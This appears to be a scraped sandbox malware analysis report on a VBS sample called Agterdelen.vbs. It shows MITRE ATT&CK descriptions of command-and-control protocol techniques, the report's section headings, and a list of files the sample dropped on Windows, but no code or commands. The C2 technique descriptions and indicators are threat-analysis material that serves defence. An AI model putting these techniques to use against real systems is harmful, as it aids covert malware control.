Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Agterdelen.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_35qjnlyz.tjh.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gx1ophtj.ezb.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jo2gq00w.vkb.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nligp3sw.3lz.psm1

C:\Users\user\AppData\Roaming\Discoach.Imm

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Statistics

CPU Usage

Windows Analysis Report
Agterdelen.vbs